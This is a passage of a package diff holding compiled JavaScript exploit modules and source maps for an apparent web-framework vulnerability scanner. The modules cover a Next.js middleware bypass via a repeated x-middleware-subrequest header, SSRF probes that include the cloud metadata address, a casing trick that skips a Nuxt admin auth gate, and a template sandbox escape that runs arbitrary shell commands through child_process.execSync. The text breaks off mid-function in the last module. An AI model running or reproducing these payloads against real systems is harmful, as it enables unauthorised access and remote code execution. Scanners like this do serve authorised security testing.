{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/exploit/index.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import * as cheerio from "cheerio";
|
|
11
|
+
import rawRequest from "../utility/rawRequest.js";
|
|
12
|
+
import diffResponses from "../utility/compareResponses.js";
|
|
13
|
+
/** MAX_RECURSION_DEPTH in next/dist/server/web/sandbox/sandbox.js — the header must repeat exactly this many times. */
|
|
14
|
+
const RECURSION_DEPTH = 5;
|
|
15
|
+
/** Root middleware.ts uses "middleware"; a --src-dir layout uses "src/middleware" — both must be tried. */
|
|
16
|
+
const MIDDLEWARE_IDS = ["middleware", "src/middleware"];
|
|
17
|
+
export const buildMiddlewareBypassHeader = (id, depth = RECURSION_DEPTH) => Array(depth).fill(id).join(":");
|
|
18
|
+
/** Scrapes newly-served HTML for <script src> chunk references — lightweight, not a full `map`-style resolver. */
|
|
19
|
+
export const extractScriptUrls = (html, baseUrl) => {
|
|
20
|
+
const $ = cheerio.load(html);
|
|
21
|
+
const urls = new Set();
|
|
22
|
+
$("script[src]").each((_, el) => {
|
|
23
|
+
const src = $(el).attr("src");
|
|
24
|
+
if (!src)
|
|
25
|
+
return;
|
|
26
|
+
try {
|
|
27
|
+
urls.add(new URL(src, baseUrl).toString());
|
|
28
|
+
}
|
|
29
|
+
catch (_a) {
|
|
30
|
+
/* skip unresolvable src values */
|
|
31
|
+
}
|
|
32
|
+
});
|
|
33
|
+
return Array.from(urls);
|
|
34
|
+
};
|
|
35
|
+
const cve202529927 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
|
|
36
|
+
const baseline = yield rawRequest(ctx.baseUrl, { timeout: ctx.timeout, signal: ctx.signal });
|
|
37
|
+
if (!baseline) {
|
|
38
|
+
return { vulnerable: false, evidence: "Baseline request failed (network error).", discoveredUrls: [] };
|
|
39
|
+
}
|
|
40
|
+
for (const id of MIDDLEWARE_IDS) {
|
|
41
|
+
const payload = yield rawRequest(ctx.baseUrl, {
|
|
42
|
+
timeout: ctx.timeout,
|
|
43
|
+
signal: ctx.signal,
|
|
44
|
+
headers: { "x-middleware-subrequest": buildMiddlewareBypassHeader(id) },
|
|
45
|
+
});
|
|
46
|
+
if (!payload)
|
|
47
|
+
continue;
|
|
48
|
+
const diff = diffResponses(baseline, payload);
|
|
49
|
+
if (diff.becameSuccessful) {
|
|
50
|
+
return {
|
|
51
|
+
vulnerable: true,
|
|
52
|
+
evidence: `Middleware bypassed using x-middleware-subrequest id="${id}" (baseline status ${baseline.status} -> payload status ${payload.status}).`,
|
|
53
|
+
discoveredUrls: extractScriptUrls(payload.body, ctx.baseUrl),
|
|
54
|
+
rawFindingExtras: { bypassId: id },
|
|
55
|
+
};
|
|
56
|
+
}
|
|
57
|
+
}
|
|
58
|
+
return {
|
|
59
|
+
vulnerable: false,
|
|
60
|
+
evidence: `No bypass observed for either middleware id variant (baseline status ${baseline.status}).`,
|
|
61
|
+
discoveredUrls: [],
|
|
62
|
+
};
|
|
63
|
+
});
|
|
64
|
+
export default cve202529927;
|
|
65
|
+
//# sourceMappingURL=cve-2025-29927.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cve-2025-29927.js","sourceRoot":"","sources":["../../../src/exploit/next/cve-2025-29927.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import rawRequest from "../utility/rawRequest.js";
|
|
11
|
+
import diffResponses from "../utility/compareResponses.js";
|
|
12
|
+
/** Common dynamic-rewrite capture-group param names observed in the wild for CVE-2026-64645. */
|
|
13
|
+
const CANDIDATE_PARAMS = ["tenant", "region", "backend", "host"];
|
|
14
|
+
const CANDIDATE_HOSTS = ["127.0.0.1", "localhost", "169.254.169.254"];
|
|
15
|
+
export const buildProbeUrl = (baseUrl, param, host) => {
|
|
16
|
+
const url = new URL(baseUrl);
|
|
17
|
+
url.searchParams.set(param, host);
|
|
18
|
+
return url.toString();
|
|
19
|
+
};
|
|
20
|
+
const cve202664645 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
|
|
21
|
+
const baseline = yield rawRequest(ctx.baseUrl, { timeout: ctx.timeout, signal: ctx.signal });
|
|
22
|
+
if (!baseline) {
|
|
23
|
+
return { vulnerable: false, evidence: "Baseline request failed (network error).", discoveredUrls: [] };
|
|
24
|
+
}
|
|
25
|
+
for (const param of CANDIDATE_PARAMS) {
|
|
26
|
+
for (const host of CANDIDATE_HOSTS) {
|
|
27
|
+
const probeUrl = buildProbeUrl(ctx.baseUrl, param, host);
|
|
28
|
+
const payload = yield rawRequest(probeUrl, { timeout: ctx.timeout, signal: ctx.signal });
|
|
29
|
+
if (!payload)
|
|
30
|
+
continue;
|
|
31
|
+
const diff = diffResponses(baseline, payload);
|
|
32
|
+
// Reflected SSRF: the response body materially changed shape/size relative to the
|
|
33
|
+
// baseline for a request that only differs by an internal-host query param.
|
|
34
|
+
if (payload.status >= 200 && payload.status < 300 && Math.abs(diff.bodyLengthDelta) > 50) {
|
|
35
|
+
return {
|
|
36
|
+
vulnerable: true,
|
|
37
|
+
evidence: `Rewrite destination reflects internal host via ?${param}=${host} (body length delta ${diff.bodyLengthDelta}).`,
|
|
38
|
+
discoveredUrls: [probeUrl],
|
|
39
|
+
rawFindingExtras: { param, host },
|
|
40
|
+
};
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
return {
|
|
45
|
+
vulnerable: false,
|
|
46
|
+
evidence: "No reflected internal-host response observed across candidate rewrite params.",
|
|
47
|
+
discoveredUrls: [],
|
|
48
|
+
};
|
|
49
|
+
});
|
|
50
|
+
export default cve202664645;
|
|
51
|
+
//# sourceMappingURL=cve-2026-64645.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cve-2026-64645.js","sourceRoot":"","sources":["../../../src/exploit/next/cve-2026-64645.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAClD,OAAO,aAAa,MAAM,gCAAgC,CAAC;AAG3D,gGAAgG;AAChG,MAAM,gBAAgB,GAAG,CAAC,QAAQ,EAAE,QAAQ,EAAE,SAAS,EAAE,MAAM,CAAU,CAAC;AAC1E,MAAM,eAAe,GAAG,CAAC,WAAW,EAAE,WAAW,EAAE,iBAAiB,CAAU,CAAC;AAE/E,MAAM,CAAC,MAAM,aAAa,GAAG,CAAC,OAAe,EAAE,KAAa,EAAE,IAAY,EAAU,EAAE;IAClF,MAAM,GAAG,GAAG,IAAI,GAAG,CAAC,OAAO,CAAC,CAAC;IAC7B,GAAG,CAAC,YAAY,CAAC,GAAG,CAAC,KAAK,EAAE,IAAI,CAAC,CAAC;IAClC,OAAO,GAAG,CAAC,QAAQ,EAAE,CAAC;AAC1B,CAAC,CAAC;AAEF,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,GAAG,CAAC,OAAO,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;IAC7F,IAAI,CAAC,QAAQ,EAAE,CAAC;QACZ,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,0CAA0C,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;IAC3G,CAAC;IAED,KAAK,MAAM,KAAK,IAAI,gBAAgB,EAAE,CAAC;QACnC,KAAK,MAAM,IAAI,IAAI,eAAe,EAAE,CAAC;YACjC,MAAM,QAAQ,GAAG,aAAa,CAAC,GAAG,CAAC,OAAO,EAAE,KAAK,EAAE,IAAI,CAAC,CAAC;YACzD,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,QAAQ,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;YACzF,IAAI,CAAC,OAAO;gBAAE,SAAS;YAEvB,MAAM,IAAI,GAAG,aAAa,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC;YAC9C,kFAAkF;YAClF,4EAA4E;YAC5E,IAAI,OAAO,CAAC,MAAM,IAAI,GAAG,IAAI,OAAO,CAAC,MAAM,GAAG,GAAG,IAAI,IAAI,CAAC,GAAG,CAAC,IAAI,CAAC,eAAe,CAAC,GAAG,EAAE,EAAE,CAAC;gBACvF,OAAO;oBACH,UAAU,EAAE,IAAI;oBAChB,QAAQ,EAAE,mDAAmD,KAAK,IAAI,IAAI,uBAAuB,IAAI,CAAC,eAAe,IAAI;oBACzH,cAAc,EAAE,CAAC,QAAQ,CAAC;oBAC1B,gBAAgB,EAAE,EAAE,KAAK,EAAE,IAAI,EAAE;iBACpC,CAAC;YACN,CAAC;QACL,CAAC;IACL,CAAC;IAED,OAAO;QACH,UAAU,EAAE,KAAK;QACjB,QAAQ,EAAE,+EAA+E;QACzF,cAAc,EAAE,EAAE;KACrB,CAAC;AACN,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import rawRequest from "../utility/rawRequest.js";
|
|
11
|
+
import diffResponses from "../utility/compareResponses.js";
|
|
12
|
+
/** Covers both CVE-2026-71315 (regression) and CVE-2026-53721 (original disclosure) — same bypass. */
|
|
13
|
+
const CASING_VARIANTS = ["Admin", "admin", "ADMIN"];
|
|
14
|
+
/** All-lowercase control route on the same app, expected to correctly redirect/gate. */
|
|
15
|
+
const CONTROL_PATH = "/testauth";
|
|
16
|
+
export const buildCasedUrl = (baseUrl, casedSegment) => new URL(`/${casedSegment}`, baseUrl).toString();
|
|
17
|
+
const cve202671315 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
|
|
18
|
+
const controlUrl = new URL(CONTROL_PATH, ctx.baseUrl).toString();
|
|
19
|
+
const control = yield rawRequest(controlUrl, { timeout: ctx.timeout, signal: ctx.signal });
|
|
20
|
+
if (!control) {
|
|
21
|
+
return { vulnerable: false, evidence: "Control-route request failed (network error).", discoveredUrls: [] };
|
|
22
|
+
}
|
|
23
|
+
const bypassedVariants = [];
|
|
24
|
+
for (const variant of CASING_VARIANTS) {
|
|
25
|
+
const url = buildCasedUrl(ctx.baseUrl, variant);
|
|
26
|
+
const response = yield rawRequest(url, { timeout: ctx.timeout, signal: ctx.signal });
|
|
27
|
+
if (!response)
|
|
28
|
+
continue;
|
|
29
|
+
// The control route (all-lowercase, same app) is expected to redirect/gate. If a casing
|
|
30
|
+
// variant returns 200 while the control still redirects, the rule's auth gate was skipped
|
|
31
|
+
// specifically for that casing, not general auth breakage.
|
|
32
|
+
const diff = diffResponses(control, response);
|
|
33
|
+
if (diff.becameSuccessful)
|
|
34
|
+
bypassedVariants.push(variant);
|
|
35
|
+
}
|
|
36
|
+
if (bypassedVariants.length > 0) {
|
|
37
|
+
return {
|
|
38
|
+
vulnerable: true,
|
|
39
|
+
evidence: `Route-rule middleware gate bypassed for casing variant(s): ${bypassedVariants.join(", ")} (control route "${CONTROL_PATH}" correctly gated).`,
|
|
40
|
+
discoveredUrls: bypassedVariants.map((v) => buildCasedUrl(ctx.baseUrl, v)),
|
|
41
|
+
rawFindingExtras: { bypassedVariants },
|
|
42
|
+
};
|
|
43
|
+
}
|
|
44
|
+
return { vulnerable: false, evidence: "No casing-based route-rule bypass observed.", discoveredUrls: [] };
|
|
45
|
+
});
|
|
46
|
+
export default cve202671315;
|
|
47
|
+
//# sourceMappingURL=cve-2026-71315.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cve-2026-71315.js","sourceRoot":"","sources":["../../../src/exploit/nuxt/cve-2026-71315.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAClD,OAAO,aAAa,MAAM,gCAAgC,CAAC;AAG3D,sGAAsG;AACtG,MAAM,eAAe,GAAG,CAAC,OAAO,EAAE,OAAO,EAAE,OAAO,CAAU,CAAC;AAC7D,wFAAwF;AACxF,MAAM,YAAY,GAAG,WAAW,CAAC;AAEjC,MAAM,CAAC,MAAM,aAAa,GAAG,CAAC,OAAe,EAAE,YAAoB,EAAU,EAAE,CAC3E,IAAI,GAAG,CAAC,IAAI,YAAY,EAAE,EAAE,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;AAEpD,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,MAAM,UAAU,GAAG,IAAI,GAAG,CAAC,YAAY,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;IACjE,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,UAAU,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;IAC3F,IAAI,CAAC,OAAO,EAAE,CAAC;QACX,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,+CAA+C,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;IAChH,CAAC;IAED,MAAM,gBAAgB,GAAa,EAAE,CAAC;IACtC,KAAK,MAAM,OAAO,IAAI,eAAe,EAAE,CAAC;QACpC,MAAM,GAAG,GAAG,aAAa,CAAC,GAAG,CAAC,OAAO,EAAE,OAAO,CAAC,CAAC;QAChD,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,GAAG,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;QACrF,IAAI,CAAC,QAAQ;YAAE,SAAS;QAExB,wFAAwF;QACxF,0FAA0F;QAC1F,2DAA2D;QAC3D,MAAM,IAAI,GAAG,aAAa,CAAC,OAAO,EAAE,QAAQ,CAAC,CAAC;QAC9C,IAAI,IAAI,CAAC,gBAAgB;YAAE,gBAAgB,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;IAC9D,CAAC;IAED,IAAI,gBAAgB,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QAC9B,OAAO;YACH,UAAU,EAAE,IAAI;YAChB,QAAQ,EAAE,8DAA8D,gBAAgB,CAAC,IAAI,CAAC,IAAI,CAAC,oBAAoB,YAAY,qBAAqB;YACxJ,cAAc,EAAE,gBAAgB,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,aAAa,CAAC,GAAG,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC;YAC1E,gBAAgB,EAAE,EAAE,gBAAgB,EAAE;SACzC,CAAC;IACN,CAAC;IAED,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,6CAA6C,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;AAC9G,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}
|
|
@@ -0,0 +1,114 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import { hash } from "ohash";
|
|
11
|
+
import rawRequest from "../utility/rawRequest.js";
|
|
12
|
+
import runSandboxRceProof, { escapeSingleQuotedLiteral } from "../utility/sandboxRce.js";
|
|
13
|
+
/** Default Server Island component name probed when none is known ahead of time. */
|
|
14
|
+
const DEFAULT_COMPONENT = "MyWidget";
|
|
15
|
+
/**
|
|
16
|
+
* The `/__nuxt_island/<name>_<hash>` hash suffix is not a security token — it's
|
|
17
|
+
* `ohash.hash([name, props, context, source])` with no secret key, fully computable client-side.
|
|
18
|
+
* The raw ohash digest can contain `-`/`_`, which the island name/hash URL segment rejects, so
|
|
19
|
+
* Nuxt's own client-side request builder strips them before appending the suffix. `source` is
|
|
20
|
+
* left `undefined` (not an empty string) to match the request shape Nuxt's own runtime produces —
|
|
21
|
+
* hashing `undefined` is not the same as hashing `""` and produces a different digest.
|
|
22
|
+
*/
|
|
23
|
+
export const computeIslandHash = (name, props, context = {}) => hash([name, props, context, undefined]).replace(/[-_]/g, "");
|
|
24
|
+
/**
|
|
25
|
+
* Mirrors the proven-working escape shape: grabs the real global object via the Function
|
|
26
|
+
* constructor first (`'a'.constructor.constructor('return globalThis')()`), since bare
|
|
27
|
+
* `globalThis` cannot be assumed to resolve correctly inside Vue's `with(_ctx)` interpolation
|
|
28
|
+
* sandbox — every property access, including reading the stash back in stage 2, goes through
|
|
29
|
+
* that same real-global reference rather than a bare identifier.
|
|
30
|
+
*/
|
|
31
|
+
const sandboxEscapePayload = (cmd, marker) => {
|
|
32
|
+
const kickoff = `(function(){var f='a'.constructor.constructor;var g=f('return globalThis')();` +
|
|
33
|
+
`g.__poc=f("return import('node:child_process')")().then(function(m){` +
|
|
34
|
+
`g.__pocOut=m.execSync('${escapeSingleQuotedLiteral(cmd)}').toString();` +
|
|
35
|
+
`}).catch(function(e){g.__pocOut='ERR:'+e.message;});return 'kicked';})()`;
|
|
36
|
+
const readback = "'a'.constructor.constructor('return globalThis')().__pocOut || ''";
|
|
37
|
+
return `<div>{{ ${marker === "stage1" ? kickoff : readback} }}</div>`;
|
|
38
|
+
};
|
|
39
|
+
export const buildIslandProps = (template) => ({
|
|
40
|
+
as: { template },
|
|
41
|
+
});
|
|
42
|
+
/**
|
|
43
|
+
* The island endpoint responds with JSON (`{ id, html, ... }`), not raw HTML — the rendered
|
|
44
|
+
* mustache output lives in `.html`, wrapped in the `<div>` from the template. Strips that wrapper
|
|
45
|
+
* and returns null for an empty/error-shaped response so stage 2's retry loop doesn't mistake a
|
|
46
|
+
* merely-parseable response for the real command output.
|
|
47
|
+
*/
|
|
48
|
+
export const extractIslandOutput = (responseBody) => {
|
|
49
|
+
let parsed;
|
|
50
|
+
try {
|
|
51
|
+
parsed = JSON.parse(responseBody);
|
|
52
|
+
}
|
|
53
|
+
catch (_a) {
|
|
54
|
+
return null;
|
|
55
|
+
}
|
|
56
|
+
const html = parsed === null || parsed === void 0 ? void 0 : parsed.html;
|
|
57
|
+
if (typeof html !== "string")
|
|
58
|
+
return null;
|
|
59
|
+
// Strip tags to a fixed point rather than a single pass — a single pass can leave a nested
|
|
60
|
+
// marker exposed (e.g. "<<script>script>" -> "<script>" after removing just the inner tag).
|
|
61
|
+
// This text is only ever used as a display string (exploit evidence/output), never re-rendered
|
|
62
|
+
// as HTML, but stripping to a fixed point is the standard defense regardless of that sink.
|
|
63
|
+
let text = html;
|
|
64
|
+
let previous;
|
|
65
|
+
do {
|
|
66
|
+
previous = text;
|
|
67
|
+
text = text.replace(/<[^>]*>/g, "");
|
|
68
|
+
} while (text !== previous);
|
|
69
|
+
text = text.trim();
|
|
70
|
+
return text.length > 0 ? text : null;
|
|
71
|
+
};
|
|
72
|
+
const cve202671320 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
|
|
73
|
+
const component = DEFAULT_COMPONENT;
|
|
74
|
+
const requestIsland = (template) => __awaiter(void 0, void 0, void 0, function* () {
|
|
75
|
+
const props = buildIslandProps(template);
|
|
76
|
+
const islandHash = computeIslandHash(component, props);
|
|
77
|
+
